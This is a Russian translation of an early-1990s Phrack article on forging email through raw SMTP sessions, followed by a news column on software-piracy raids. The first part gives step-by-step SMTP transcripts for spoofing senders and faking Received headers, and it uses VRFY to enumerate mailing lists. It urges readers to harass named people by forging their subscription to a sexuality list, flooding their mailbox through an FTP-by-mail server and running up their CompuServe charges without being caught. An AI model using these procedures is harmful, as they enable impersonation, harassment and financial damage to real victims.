И **ВНИМАНИЕ**: символы «>» обязательны! Некоторые компьютеры, особенно придирчивые, как Prime, не примут письмо, если оно не соответствует протоколу буквально! Если вы укажете локальный адрес, например:

```
> RCPT TO: <smith>
```

...письмо будет обработано как локально отправленное, даже если оно пришло через интернет. Указание компьютеру его собственного имени хоста допустимо, хотя есть шанс, что он сошлётся на машину, с которой вы звоните.

```
> RCPT TO: <smith@thishost>
```

...проверит наличие «smith» на данном компьютере. Если он нашёлся, компьютер подтвердит, что всё в порядке. Если же вы хотите использовать этот компьютер как хост-ретранслятор (между двумя другими точками), введите:

```
> RCPT TO: <smith@someotherhost>
```

Это перенаправит письмо на SMTP-порт хоста someotherhost, и оно больше не будет вашей проблемой. Именно этот трюк я использую для отправки письма вокруг света.

После указания получателя нужно сообщить компьютеру, кто является отправителем.

```
> MAIL FROM: <rack@lycaeum.hfc.com>      ; Настоящий адрес
> MAIL FROM: <rack>                      ; Локальный хост
> MAIL FROM: <rack@osi.mil>              ; Поддельный — «сторонний хост»
> MAIL FROM: <lycaeum.hfc.com|rack>      ; UUCP-путь
```

По существу, если вы заявляете, что письмо от «третьей стороны», другая машина примет его из-за особенностей UUCP-маршрутизации. Это будет объяснено позже.

Следующий шаг — ввод самого письма. Первые несколько строк каждого сообщения содержат заголовок, X-сообщения, служебные строки, строки пересылки и т. д. Они полностью определяются конкретной почтовой программой, но несколько простых стандартов будут описаны чуть позже. А пока пройдем пошаговую схему отправки поддельного письма. Вы вводите всё, что не начинается с числа.

```
220 hal.gnu.ai.mit.edu Sendmail AIX 3.2/UCB 5.64/4.0 ready at Tue, 21 Jul 1992
22:15:03 -0400
> helo lycaeum.hfc.com
250 hal.gnu.ai.mit.edu Hello lycaeum.hfc.com, pleased to meet you
> mail from: <rack@lycaeum.hfc.com>
250 <rack@lycaeum.hfc.com>... Sender ok
> rcpt to: <phrack@gnu.ai.mit.edu>
250 <phrack@gnu.ai.mit.edu>... Recipient ok
> data
354 Enter mail, end with "." on a line by itself
> Yo, C.D. -- mind letting me use this account?
> .
250 Ok
> quit
```

Теперь рассмотрим несколько более продвинутых способов использования sendmail. Во-первых, есть команда VRFY. Её можно применять в двух основных целях: проверить одного пользователя или проверить список пользователей. Любой, кто обладает базовыми знаниями о крупных компьютерных сетях, знает, что существуют списки рассылки, позволяющие нескольким людям обмениваться почтой. Команда VRFY позволяет просмотреть всех участников того или иного списка.

```
> vrfy phrack
250 Phrack Classic <phrack>
```

Или, чтобы увидеть всех участников списка рассылки:

```
> vrfy phrack-staff-list
250 Knight Lightning <kl@stormking.com>
250 Dispater <dispater@stormking.com>
```

Замечание: это не то же самое, что LISTSERV — например, тот, через который распространяется Phrack. Сами LISTSERVы являются весьма мощными инструментами, поскольку позволяют людям подписываться и отписываться от списков без участия модератора-человека. Управление псевдонимными списками само по себе — нетривиальная задача.

Это может пригодиться, чтобы просто проверить, существует ли аккаунт. Полезно, если вы подозреваете, что на машине стоит взломанный демон finger или что-то, скрывающее личность пользователя. Получение списка пользователей из списков рассылки само по себе не слишком

полезно, но если вы очень хотите узнать чью-то настоящую личность и подозреваете, что этот человек подписан на какой-то список, — проверьте всех пользователей с конкретного хоста и поищите совпадения.

Наконец, есть последний элемент письма — само сообщение. Именно здесь стоит сосредоточиться, чтобы избежать злополучной строки «Apparently-to:». По существу, данные состоят из нескольких строк заголовка, за которыми следует само сообщение.

Нужно соблюдать определённые правила, чтобы заголовки отображались в правильном порядке. Например, не нужно разделять заголовки и имя пробелом. Вот пример настоящего электронного письма:

```
> From: rack@lycaeum.hfc.com
> Received: by dockmaster.ncsc.mil (5.12/3.7) id AA10000; Thu, 6 Feb 92
> 12:00:00
> Message-Id: <666.AA10000@dockmaster.ncsc.mil>
> To: RMorris@dockmaster.ncsc.mil
> Date: Thu, 06 Feb 92 12:00:00
> Title: *wave* Hello, No Such Agency dude!
>
> NIST sucks. Say "hi" to your kid for me from all of us at Phrack!
```

Если же попытаться создать письмо без информационных строк, оно выглядело бы примерно так:

```
> From: rack@lycaeum.hfc.com
> Received: by dockmaster.ncsc.mil (5.12/3.7) id AA10000; Thu, 6 Feb 92
> 12:00:00 -0500
> Message-Id: <666.AA10000@dockmaster.ncsc.mil>
> Date: Thu, 06 Feb 92 12:00:00
> Apparently-to: RMorris@dockmaster.ncsc.mil
>
> NIST sucks. Say "hi" to your kid for me from all of us at Phrack!
```

По существу, это выглядит как явная подделка — не потому, что я изменил цифры, а потому что нет строки заголовка, «Date:» стоит не на своём месте, и сработал признак «Apparently-to:».

Чтобы создать «реалистичное» письмо, нужно вводить:

```
> helo lycaeum.hfc.com
> mail from: <rack@lycaeum.hfc.com>
> rcpt to: <RMorris@dockmaster.ncsc.mil>
> data
> To: RMorris@dockmaster.ncsc.mil
> Date: Thu, 06 Feb 92 12:00:00
> Title: *wave* Hello, No Such Agency dude!
>
> NIST sucks. Say "hi" to your kid for me from all of us at Phrack!
> .
```

Заметьте: даже находясь в режиме «data», вы по-прежнему передаёте команды sendmail. Через команду data можно изменить (хотя бы частично) любые строки. Это идеально для отправки качественной поддельной почты. Например:

```
> helo lycaeum.hfc.com
> mail from: <dale@opus.tymnet.com>
> rcpt to: <listserv@brownvm.brown.edu>
> data
> Received: by lycaeum.hfc.com (5.12/3.7) id AA11891; Thu 6 Feb 92 12:00:00
> Message-Id: <230.AA11891@lycaeum.hfc.com>
> To: <listserv@brownvm.brown.edu>
> Date: Thu, 06 Feb 92 12:00:00
> Title: Ohh, sign me up Puuuleeeze.
>
> subscribe BISEXU-L Dale "Fist Me" Drew
> .
```

Согласно этому маршруту, вы говорите другому компьютеру, что получили это письмо с OPUS.TYMNET.COM, и ваша машина пересылает его на BROWNVM.BROWN.EDU. По существу, вы

встрягаете в середину цепочки, притворяясь, что стояли там всё это время. Это легальный способ отправки электронной почты!

Изначально, когда sendmail был менее автоматизированным, нужно было перечислять каждый компьютер, через который должно пройти письмо, чтобы оно добралось до адресата. Если вы были компьютером ALPHA и хотели отправить письмо пользователю «joe» на компьютере GAMMA, адрес выглядел бы так:

```
> mail to: <beta!ceti!delta!epsilon!freddy!gamma!joe>
```

Заметьте: имя аккаунта идёт последним, а имена хостов «выстраиваются» к нему. Письмо будет последовательно маршрутизироваться через каждую машину, пока не достигнет GAMMA. Это по-прежнему актуально сегодня, особенно между такими сетями, как Internet и Bitnet, — где определённые хосты способны передавать почту между сетями. Этот стиль адресации называется маршрутизацией в стиле UUCP.

Иногда хосты используют UUCP-адреса пересылки, когда не умеют разбирать именной адрес. Ваша машина просто перенаправляет письмо на второй хост, который умеет разрешить оставшуюся часть имени. Хотя такие машины уходят в прошлое, они ещё существуют.

Третий распространённый случай маршрутизации почты между хостами — когда, вместо того чтобы каждый компьютер тратил время на обработку каждого письма, он передаёт почту выделенному почтовому серверу, который затем осуществляет доставку. Это весьма распространено по всей сети — особенно с учётом того, что интернет — это всего лишь несколько линий T1 по сравнению с множеством модемов на 9600 и 14,4 Кбит/с, которые все так ревностно оберегают от перегрузки. Разумеется, это не меняет формат адреса, но на другом конце сети невозможно будет определить, каким способом письмо было отправлено.

Итак, теперь мы умеем отправлять вполне приличную поддельную электронную почту. Её сложно отличить от обычной, если только вы сами не наломали дров (например, отправив поддельное письмо между двумя пользователями одной машины через 4 национальных хоста) или не выбрали неудачный момент.

Давайте теперь поговорим о МОЩИ поддельной почты. Фейкмейл — это прежде всего отличный способ заставить людей думать, что вы — кто-то другой. Можно попробовать выудить информацию у людей через социальную инженерию по поддельной почте, но вместе с тем — почему бы просто не взломать пароль root и не использовать «root» для этого? Так вы получите и ответ на письмо. Социальная инженерия от имени root тоже выглядит сомнительно. Кто знает. Может, когда-нибудь представится по-настоящему выгодная возможность — но пока оставим переписку человек-человек в стороне и займёмся взаимодействием человек-машина.

В интернете существует немало мест, которые автоматически отвечают на полученные электронные письма. Есть все сайты Archie, которые реагируют на запросы; все LISTSERVы Internet/Bitnet; и FTP-серверы по почте Bitnet. Помимо этого, существуют и другие серверы, например арбитр игры в дипломатию. К сожалению, последние не столь раздражающи, как то, что можно сотворить с другими серверами.

Начнём с LISTSERVов. Как вы видели выше, я составил поддельное письмо, подписывающее мистера Dale Drew на LISTSERV BISEXU-L. Это означает, что всё «нетныйс»-содержимое о бисексуальном поведении в интернете будет отправляться прямо в его почтовый ящик. Он окажется в этом (публичном и доступном всем желающим) списке и тем самым войдёт в интернет-сообщество бисексуалов.

Это поддельное письмо доберётся до LISTSERVa, тот зарегистрирует Мистера Диктатора в списке BISEXU-L, >ВЫБРОСИТ< моё письмо, и, поскольку система считает, что именно Dale Drew отправил сообщение, она подпишет его на получение всей бисексуальной информации в сети.

И люди удивляются, почему я вообще не раздаю свой адрес электронной почты.

Полный список всех групп в интернете доступен в файле `list_of_lists`, который можно найти почти где угодно — поройтесь на `wuarchive.wustl.edu` или `ftp.uu.net`, пока не найдёте. Вы заметите, что там есть весьма фанатичные группы, попасть в которые неожиданно было бы крайне неприятно для кого угодно.

Замечали, как крупные мегакорпорации вроде IBM давят маленьких людей, пытающихся копировать их идеи? Хотя «идею» нельзя запатентовать, такие компании, как IBM, хотят, чтобы вы верили в обратное. Они насылают свою «силовую» бригаду дешёвых юристов, которая «выматывает судебными издержками» небольшие фирмы. Если вы хотите постепенно «разорить» кого-нибудь, обдумайте следующее:

CompuServe теперь принимает электронную почту из интернета. Это хорошо. CompuServe берёт деньги за слишком большой объём хранимой на его диске почты. Это плохо. Вы можете реально довести кого-то неприятного на CompuServe до иступления, записав его в список `Dungeons and Dragons` с несколькими мегабайтами мусора в день. Это круто. Ему выставят внушительные счета от CompuServe. Это уже перебор. Как он вообще мог это предвидеть?

Адреса электронной почты CompuServe имеют вид `userid@compuserve.com`, но, как знают пользователи интернета, запятые («,») нельзя использовать в адресных путях. Поэтому вместо каждой запятой используйте точку. Если ваш адрес на CompuServe был `767,04821`, то для интернета он будет `767.04821@compuserve.com`. CompuServe, как правило, «обрезает» большую часть заголовков, которые создаёт интернет, перед доставкой конечному пользователю. Это делает их особенно уязвимыми для поддельной почты.

Вам придётся проверять конкретные платные сервисы, но, насколько я знаю, у таких групп, как MCI Mail, тоже есть временные ограничения. Ваш типичный пользователь, не понимающий, что такое интернет, никогда не разберётся, как отписаться от какого-нибудь кошмарного мусорного `LISTSERV` вроде списка `Advanced Dungeons & Dragons`. Ущерб, который можно нанести только в денежном выражении, был бы колоссальным.

Некоторые группы берут деньги за время подключения к интернету — справедливости ради, цены вполне разумные, около 2 долларов в час. Однако поздно ночью можно устроить массовый почтовый трафик на чьей-то линии, и они его не заметят. Возможности отключить это у них нет, так что они в ловушке. Будьте **ОСТОРОЖНЫ**, однако — такой саботаж может завести вас в серьёзные неприятности. Это не мошенничество как таковое, но может быть квалифицировано как «несанкционированное использование оборудования» и обернуться крупным штрафом. Однако если вы достаточно умны — вас не поймают, и несчастные жертвы сами оплатят счета!

Теперь рассмотрим кратковременный **ОБЪЁМНЫЙ** удар по почтовому адресу. Существует немало анонимных FTP-сайтов с сервисом под названием `BIT FTP`. Это означает, что пользователь из `Bitnet` или просто имеющий только электронную почту без других сетевых сервисов всё равно может скачивать файлы с FTP-сайта. Файл `«help»` по этому поводу хранится в Приложении С и касается использования FTP-сервера `Digital` по почте.

По существу, если вы хотите обмануть FTP-сервер по почте и засыпать какого-то бедолагу безумным количеством писем, попробуйте обычный «фейкмейл» с таким пакетом сообщений:

```
> helo lycaeum.hfc.com
> mail from: <dale@opus.tymnet.com>
> rcpt to: <ftpmail@decwrl.dec.com>
> data
> Received: by lycaeum.hfc.com (5.12/3.7) id AA10992; Fri 9 Oct 92 12:00:00
> Message-Id: <230.AA11891@lycaeum.hfc.com>
> To: <listserv@brownvm.brown.edu>
> Date: Fri, 09 Oct 92 12:00:00
> Title: Hey, I don't have THAT nifty program!
>
```



```
> reply dale@opus.tymnet.com
> connect wuarchive.wustl.edu anonymous fistme@opus.tymnet.com
> binary
> get mirrors/gnu/gcc-2.3.2.tar.Z
> quit
> .
```

Что особенно неприятно в этом — куда-то от 15 до 20 мегабайт сообщений будет сброшено в аккаунт этого бедолаги. Все файлы будут uuencode-кодированы и разбиты на отдельные письма! Вместо того чтобы удалить один файл, придётся удалять буквально сотни сообщений! Невыносимо! И почти невозможно отследить.

---

## Часть 2: Электронное письмо вокруг света

Капитан Кранч однажды позвонил по телефону вокруг всего земного шара, что могло бы открыть эпоху фрикерского просветления — в конце концов, он доказал, что по телефону можно «дотянуться» до кого угодно в любой точке мира! Можно связаться с миллиардами людей.

Пытаясь проделать этот трюк с электронной почтой, я, несомненно, взбесил огромное количество людей — получил автоматические жалобы от многих хостов. По всей видимости, в каждой стране есть что-то вроде АНБ. Меня это нисколько не удивляет; меня лишь несколько поражает, что целые ХОСТЫ были отключены в то время, пока я их использовал как маршрутизаторы. К счастью, я успевал переключаться между компьютерами быстрее, чем их успевали отключать.

Чтобы отправить письмо, я не мог использовать прямой путь. Пришлось прибегнуть к UUCP-маршрутизации, указывая каждому хосту в цепочке отправлять письмо следующему хосту и так далее, пока последняя машина не завершила цикл. К несчастью, первая машина, которую я использовал для отправки, имела на удивление эффективный маршрутизатор, который вычислил, что целевой адрес является и конечным назначением. Поэтому я перенастроил путь на машину, стоявшую буквально в двух футах от неё. Эти два фута ничего не значат в столь эпическом путешествии.

Имена исходящих хостов изменены, чтобы скрыть мою личность. Однако если мы когда-нибудь встретимся на конференции, у меня, вероятно, найдётся настоящая распечатка результатов, и вы сможете убедиться в их подлинности. Тем не менее большая часть этих же трюков будет работать практически на любом типичном университетском хосте, подключённом к интернету (и даже к Bitnet).

В ПРИЛОЖЕНИИ А я составил список всех зарубежных стран, которые смог найти в интернете. Я счёл важным следовать глобальной программе и выбрать цепочку хостов, между которыми предположительно будут относительно короткие переходы. Это я делал с помощью этого списка и методом проб и ошибок (большая часть информации была получена из Информационного центра сети, хотя они намеренно приложили все усилия, чтобы затруднить поиск компьютеров, связанных с зарубежными странами).

Мой окончательный выбор маршрута:

|                          |                                    |
|--------------------------|------------------------------------|
| lycaeum.hfc.com          | -- Исходная точка, «центр» Америки |
| albert.gnu.ai.mit.edu    | -- Массачусетс, США                |
| isgate.is                | -- Исландия                        |
| chenas.inria.fr          | -- Франция                         |
| icnucevx.cnuce.cn.it     | -- Италия                          |
| sangram.ncst.ernet.in    | -- Индия                           |
| waseda-mail.waseda.ac.jp | -- Япония                          |
| seattleu.edu             | -- Сиэтл                           |
| inferno.hfc.com          | -- Конечный пункт назначения       |

Итоговый адрес электронной почты выглядел так:

```
isgate.is!chenas.inria.fr!icnucevx.cnuce.cn.it!sangram.ncst.ernet.in!  
waseda-mail.waseda.ac.jp!seattleu.edu!inferno.hfc.com!  
rack@albert.gnu.ai.mit.edu
```

...то есть: сначала письмо уходит на albert.gnu.ai.mit.edu, который разбирает адрес построчно, переходя в Исландию, затем во Францию и т. д., пока не достигает последнего хоста перед именем адресата — Inferno, где письмо и оседает в ящике rack@inferno.hfc.com.

Это занимает ОЧЕНЬ много времени, ребята. Каждый сбой ближе к концу цепочки в среднем 8–10 часов спустя возвращал мне письмо с сообщением об ошибке. В одном случае письмо добралось от побережья до побережья, а затем вернулось, потому что не смогло разрешить имя последнего хоста! Это письмо (по пройденному расстоянию) облетело весь земной шар и ещё половину.

Вот финальное письмо, которое я получил (даты, время и числа изменены, чтобы не дать возможности отследить меня):

```
> Return-Path: <rack@lycaeum.hfc.com>  
> Received: from sumax.seattleu.edu [192.48.211.120] by Lycaeum.HFC.Com ; 19  
    Dec 92 16:23:21 MST  
> Received: from waseda-mail.waseda.ac.jp by sumax.seattleu.edu with SMTP id  
>    AA28431 (5.65a/IDA-1.4.2 for rack@inferno.hfc.com); Sat, 19 Dec 92  
>    14:26:01 -0800  
> Received: from relay2.UU.NET by waseda-mail.waseda.ac.jp (5.67+1.6W/2.8Wb)  
>    id AA28431; Sun, 20 Dec 92 07:24:04 JST  
> Return-Path: <rack@lycaeum.hfc.com>  
> Received: from uunet.uu.net (via LOCALHOST.UU.NET) by relay2.UU.NET with SMTP  
>    (5.61/UUNET-internet-primary) id AA28431; Sat, 19 Dec 92 17:24:08 -  
>    0500  
> Received: from sangam.UUCP by uunet.uu.net with UUCP/MAIL  
>    (queueing-rmail) id 182330.3000; Sat, 19 Dec 1992 17:23:30 EST  
> Received: by sangam.ncst.ernet.in (4.1/SMI-4.1-MHS-7.0)  
>    id AA28431; Sun, 20 Dec 92 03:50:19 IST  
> From: rack@lycaeum.hfc.com  
> Received: from shakti.ncst.ernet.in by saathi.ncst.ernet.in  
>    (5.61/Ultrix3.0-C)  
>    id AA28431; Sun, 20 Dec 92 03:52:12 +0530  
> Received: from saathi.ncst.ernet.in by shakti.ncst.ernet.in with SMTP  
>    (16.6/16.2) id AA09700; Sun, 20 Dec 92 03:51:37 +0530  
> Received: by saathi.ncst.ernet.in (5.61/Ultrix3.0-C)  
>    id AA28431; Sun, 20 Dec 92 03:52:09 +0530  
> Received: by sangam.ncst.ernet.in (4.1/SMI-4.1-MHS-7.0)  
>    id AA28431; Sun, 20 Dec 92 03:48:24 IST  
> Received: from ICNUCEVX.CNUCE.CNR.IT by relay1.UU.NET with SMTP  
>    (5.61/UUNET-internet-primary) id AA28431; Sat, 19 Dec 92 17:20:23  
>    -0500  
> Received: from chenas.inria.fr by ICNUCEVX.CNUCE.CNR.IT (PMDF #2961 ) id  
>    <01GSIP122UOW000FBT@ICNUCEVX.CNUCE.CNR.IT>; Sun, 19 Dec 1992 23:14:29 MET  
> Received: from isgate.is by chenas.inria.fr (5.65c8d/92.02.29) via Fnet-EUnet  
>    id AA28431; Sun, 19 Dec 1992 23:19:58 +0100 (MET)  
> Received: from albert.gnu.ai.mit.edu by isgate.is (5.65c8/ISnet/14-10-91);  
>    Sat, 19 Dec 1992 22:19:50 GMT  
> Received: from lycaeum.hfc.com by albert.gnu.ai.mit.edu (5.65/4.0) with  
>    SMTP id <AA28431@albert.gnu.ai.mit.edu>; Sat, 19 Dec 92 17:19:36 -0500  
> Received: by lycaeum.hfc.com (5.65/4.0) id <AA11368@lycaeum.hfc.com>;  
>    Sat, 19 Dec 92 17:19:51 -0501  
> Date: 19 Dec 1992 17:19:50 -0500 (EST)  
> Subject: Global E-Mail  
> To: rack@inferno.hfc.com  
> Message-id: <9212192666.AA11368@lycaeum.hfc.com>  
> Mime-Version: 1.0  
> Content-Type: text/plain; charset=US-ASCII  
> Content-Transfer-Encoding: 7bit  
> X-Mailer: ELM [version 2.4 PL5]  
> Content-Length: 94  
> X-Charset: ASCII  
> X-Char-Esc: 29  
>
```

```
> This Electronic Mail has been completely around the world!
>
> (and isn't even a chain letter.)
```

---

## Приложение А: Список стран в интернете по корневому домену

*(Я старался найти хотя бы один почтовый маршрутизатор в каждом домене. Те домены, для которых их нет, недоступны при моём уровне допуска. Компьютер — ваш друг.)*

|     |                      |                                  |
|-----|----------------------|----------------------------------|
| .AQ | Новая Зеландия       |                                  |
| .AR | Аргентина            | atina.ar                         |
| .AT | Австрия              | pythia.eduz.univie.ac.at         |
| .BB | Барбадос             |                                  |
| .BE | Бельгия              | ub4b.buug.be                     |
| .BG | Болгария             |                                  |
| .BO | Боливия              | unbol.bo                         |
| .BR | Бразилия             | fpsp.fapesp.br                   |
| .BS | Багамы               |                                  |
| .BZ | Белиз                |                                  |
| .CA | Канада               | cs.ucb.ca                        |
| .CH | Швейцария            | switch.ch                        |
| .CL | Чили                 | uchdcc.uchile.cl                 |
| .CN | Китай                | ica.beijing.canet.cn             |
| .CR | Коста-Рика           | huracan.cr                       |
| .CU | Куба                 |                                  |
| .DE | Германия             | deins.informatik.uni-dortmund.de |
| .DK | Дания                | dkuug.dk                         |
| .EC | Эквадор              | ecuanex.ec                       |
| .EE | Эстония              | kbfi.ee                          |
| .EG | Египет               |                                  |
| .FI | Финляндия            | funet.fi                         |
| .FJ | Фиджи                |                                  |
| .FR | Франция              | inria.inria.fr                   |
| .GB | Англия               |                                  |
| .GR | Греция               | csi.forth.gr                     |
| .HK | Гонконг              | hp9000.csc.cuhk.hk               |
| .HU | Венгрия              | sztaki.hu                        |
| .IE | Ирландия             | nova.ucd.ie                      |
| .IL | Израиль              | relay.huji.ac.il                 |
| .IN | Индия                | shakti.ernet.in                  |
| .IS | Исландия             | isgate.is                        |
| .IT | Италия               | deccnaf.infn.it                  |
| .JM | Ямайка               |                                  |
| .JP | Япония               | jip-gate.wide.ad.jp              |
| .KR | Южная Корея          | kum.kaist.ac.kr                  |
| .LK | Шри-Ланка            | cse.mrt.ac.lk                    |
| .LT | Литва                | ma-mii.lt.su                     |
| .LV | Латвия               |                                  |
| .MX | Мексика              | mtel1.mty.itesm.mx               |
| .MY | Малайзия             | rangkom.my                       |
| .NA | Намибия              |                                  |
| .NI | Никарагуа            | uni.ni                           |
| .NL | Нидерланды           | sering.cwi.nl                    |
| .NO | Норвегия             | ifi.uio.no                       |
| .NZ | Новая Зеландия       | waikato.ac.nz                    |
| .PE | Перу                 | desco.pe                         |
| .PG | Папуа — Новая Гвинея | ee.unitech.ac.pg                 |
| .PH | Филиппины            |                                  |
| .PK | Пакистан             |                                  |
| .PL | Польша               |                                  |
| .PR | Пуэрто-Рико          | sun386-gauss.pr                  |
| .PT | Португалия           | ptifm2.ifm.rccn.pt               |
| .PY | Парагвай             | ledip.py                         |
| .SE | Швеция               | sunic.sunet.se                   |
| .SG | Сингапур             | nuscc.nus.sg                     |
| .TH | Таиланд              |                                  |

|     |                   |                  |
|-----|-------------------|------------------|
| .TN | Тунис             | spiky.rsinet.tn  |
| .TR | Турция            |                  |
| .TT | Тринидад и Тобаго |                  |
| .TW | Тайвань           | twmoe10.edu.tw   |
| .UK | Великобритания    | ess.cs.ucl.ac.uk |
| .US | США               | isi.edu          |
| .UY | Уругвай           | seciu.uy         |
| .VE | Венесуэла         |                  |
| .ZA | ЮАР               | hippo.ru.ac.za   |
| .ZW | Зимбабве          | zimbix.uz.zw     |

---

## Приложение В: Основные команды SMTP

|                     |                                                                                                                                              |
|---------------------|----------------------------------------------------------------------------------------------------------------------------------------------|
| > HELO <hostname>   | Сообщает почтовому демону, какая машина звонит. Это будет определено в любом случае, поэтому отсутствие команды не обеспечивает анонимности. |
| > MAIL FROM: <path> | Указывает, откуда пришло письмо.                                                                                                             |
| > RCPT TO: <path>   | Указывает, куда идёт письмо.                                                                                                                 |
| > DATA              | Команда начала передачи сообщения.                                                                                                           |
| > QUIT              | Выход из почтового демона, разрыв сокета.                                                                                                    |
| > NOOP              | Нет операции — используется для задержки.                                                                                                    |
| > HELP              | Выдаёт список команд — иногда отключена.                                                                                                     |
| > VRFY              | Проверяет, является ли путь допустимым на данной машине.                                                                                     |
| > TICK              | Количество «тиков» от подключения до текущего момента («0001» — типичное значение при прямом соединении).                                    |

---

ftpmail@decwrl.dec.com (FTP-сервер по почте Digital)

Команды:

|                              |                                                                                                                                 |
|------------------------------|---------------------------------------------------------------------------------------------------------------------------------|
| reply <MAILADDR>             | Установить адрес ответа, поскольку заголовки обычно содержат ошибки.                                                            |
| connect [HOST [USER [PASS]]] | По умолчанию: gatekeeper.dec.com, anonymous.                                                                                    |
| ascii                        | Загружаемые файлы — печатный ASCII.                                                                                             |
| binary                       | Загружаемые файлы — сжатые, tar или оба.                                                                                        |
| compress                     | Сжать бинарные файлы алгоритмом Лемпеля-Зива.                                                                                   |
| compact                      | Сжать бинарные файлы кодированием Хаффмана.                                                                                     |
| uuencode                     | Бинарные файлы будут отправлены по почте в формате uuencode.                                                                    |
| btoa                         | Бинарные файлы будут отправлены по почте в формате btoa.                                                                        |
| ls (или dir) МЕСТО           | Краткий (подробный) список каталога.                                                                                            |
| get ФАЙЛ                     | Получить файл и отправить его вам по почте.                                                                                     |
| quit                         | Завершить скрипт, игнорировать остаток письма (используйте, если у вас есть .signature или вы являетесь пользователем VMSMAIL). |

Примечания:

- > Необходимо дать команду «connect» (хост по умолчанию — gatekeeper.dec.com, пользователь по умолчанию — anonymous, пароль по умолчанию — ваш почтовый адрес).
- > Бинарные файлы не будут сжаты, если не указать команду «compress» или «compact»; используйте их по возможности — это сильно помогает.
- > Бинарные файлы всегда будут конвертированы в печатный ASCII с помощью «btoa» или «uuencode» (по умолчанию — «btoa»).
- > Все загружаемые файлы будут разбиты на части по 60 КБ и отправлены по почте.
- > VMS/DOS/Mac версии uuencode, atob, compress и compact доступны — спросите у вашего МЕСТНОГО специалиста.

-> Обработка запроса займёт около 1,5 суток. Как только задание будет принято FTR-демоном, вы получите письмо с подтверждением принятия, а результат будет выслан вам по почте.

# Бухта Пиратов

Автор: Rambone

---

Добро пожаловать обратно в Бухту Пиратов. Новостей о пиратстве программного обеспечения, его последствиях и усилиях компаний-разработчиков по борьбе с ним сейчас больше, чем когда-либо. Кроме того, популярные СМИ всё активнее интересуются прочими событиями в пиратском подполье. За последние несколько месяцев по всему миру прошли несколько крупных облав. Не все новости совсем свежие, но многие, вероятно, тогда их не слышали — так что читайте и наслаждайтесь.

Если вам нравится эта колонка в Phrack, обязательно напишите письмо на адрес "phracksub@stormking.com" и сообщите им об этом. Спасибо.

---

## Изъято нелегального программного обеспечения на сумму свыше \$100 000

ВАШИНГТОН — (BUSINESS WIRE) — Нелегальное программное обеспечение стоимостью свыше \$100 000 было изъято с электронной доски объявлений (BBS), расположенной в Балтиморе, штат Мэриленд. Это стало первым в США делом Альянса по защите бизнес-программ (BSA) против BBS за пиратство программного обеспечения.

Ранее BSA провёл кампанию по борьбе с нелегальными досками в Европе и расследует деятельность незаконных досок в Азии. В рамках изъятия в США по решению суда было конфисковано оборудование на сумму свыше \$25 000, а BBS под названием APL прекратила работу.

Расследование, проводившееся в течение нескольких месяцев, установило, что через BBS APL было сделано тысячи нелегальных копий различных программных продуктов. Истцами по делу выступили шесть издателей деловых программ: ALDUS, Autodesk, LOTUS Development, MICROSOFT, NOVELL и WordPerfect. Иск против APL был подан в связи с тем, что та якобы позволяла пользователям BBS загружать и скачивать программы, защищённые авторским правом.

Через BBS APL для копирования было доступно почти 500 программных продуктов — что представляло собой нарушение авторских прав разработчиков. Помимо этого, BSA изъяс деловые записи APL с подробными данными о времени пребывания пользователей на BBS и о загруженных и/или скачанных программах. В настоящее время BSA изучает эти записи на предмет возможного возбуждения дополнительных судебных исков против пользователей системы, которые могли незаконно загружать или скачивать программы, защищённые авторским правом.

«Электронные доски объявлений создают всё более серьёзные трудности в наших усилиях по борьбе с пиратством», — заявил Роберт Холлиман, президент BSA. «Хотя доски объявлений являются полезным инструментом для обмена информацией, они также предоставляют пользователям лёгкий доступ к незаконному копированию программ», — пояснил Холлиман.

Строгие федеральные нормативные акты запрещают воспроизведение программного обеспечения, защищённого авторским правом. Принятый в этом году закон Конгресса США предусматривает ужесточение наказания для нарушителей авторских прав: до пяти лет лишения свободы и штрафа в размере \$250 000.

Расследование дела APL, проведённое компанией Software Security International по поручению BSA, завершилось рейдом федеральных маршалов 1 октября 1992 года. Помимо шести издателей деловых программ, иск BSA был подан также в интересах Nintendo.

Число досок объявлений неуклонно росло в течение последних нескольких лет — только в США их насчитывается около 2000. С помощью модема пользователи досок могут легко общаться с другими участниками. В последнее время BSA усилил свои усилия по всему миру, направленные на искоренение незаконного копирования программ, которое происходит на части досок.

BSA — организация, занимающаяся борьбой с кражей программного обеспечения. Её всемирная кампания охватывает программы в области просвещения, государственной политики и правоприменения более чем в 30 странах. Членами BSA являются: ALDUS, APPLE COMPUTER, Autodesk, LOTUS Development, MICROSOFT, NOVELL и WordPerfect.

BSA располагает горячей линией по борьбе с пиратством (800-688-2721) для всех, кто хочет получить информацию о пиратстве или сообщить о предполагаемых случаях кражи программного обеспечения.

КОНТАКТ: Diane Smiroldo, Business Software Alliance, (202)727-7060

• -----

## **Это только начало**

Арест BBS APL произвёл беспрецедентный резонанс в пиратском мире в силу самого характера обвинений. Альянс по защите бизнес-программ (BSA), представляющий интересы многих крупных компаний-разработчиков деловых программ, а также Nintendo, объединил усилия для нанесения серьёзного удара по APL. Их целью было навсегда закрыть APL и — впервые в истории — преследовать пользователей, активно участвовавших в работе BBS.

Попытка установить, кто загружал и скачивал файлы через эту BBS, и добиться судебного преследования этих лиц — шаг крайне серьёзный и прежде никогда не предпринимавшийся. Главная проблема, которую я вижу здесь: как доказать, что записи отражают действия реального пользователя, а не кого-то, кто выдавал себя за него? Как вообще можно доказать, что программу скачал именно конкретный пользователь, а не кто-то другой, воспользовавшийся его аккаунтом? Что если пользователь вошёл однажды, больше никогда не звонил, а кто-то другой взломал его учётную запись? К тому же сисоп, бывало, «редактировал» чужой аккаунт, запрещая скачивание, когда замечал «пиявку».

Поднятые мной вопросы вполне правомерны. И если у Секретной службы нет журналов с телефонными номерами людей, реально подключавшихся в то время, я не понимаю, на чём основывается обвинение. Уверен, что против сисопа у них отличная позиция, и они выжмут максимум из закона. Но если они попытаются арестовывать пользователей — деньги налогоплательщиков уйдут в трубу.

• -----

## **BSA наносит удар по Европе**

Альянс по защите бизнес-программ перешагнул Атлантику и добрался до Германии. Совместно с Интерполом и местной полицией им удалось закрыть 80% досок в Берлине. Одним из факторов, способствовавших этим арестам, стало то, что большинство закрытых досок были также причастны к телефонному мошенничеству. До недавнего времени блюбоксинг был основным способом связи с

США и другими странами Европы. Многие из арестованных сисопов регулярно прибегали к блюбоксингу. К несчастью для них, значительная часть Германии уже перешла на новые телефонные системы, и использование синей коробки стало крайне рискованным. Это никого не остановило, и люди быстро превратились в лёгкую мишень для Интерпола. Другим способом дешёвой международной связи для немцев были телефонные карточки AT&T, ставшие повсеместными. Местная полиция совместно с телефонной компанией собирала доказательства в течение нескольких месяцев, прежде чем прокатилась волна арестов по всему городу.

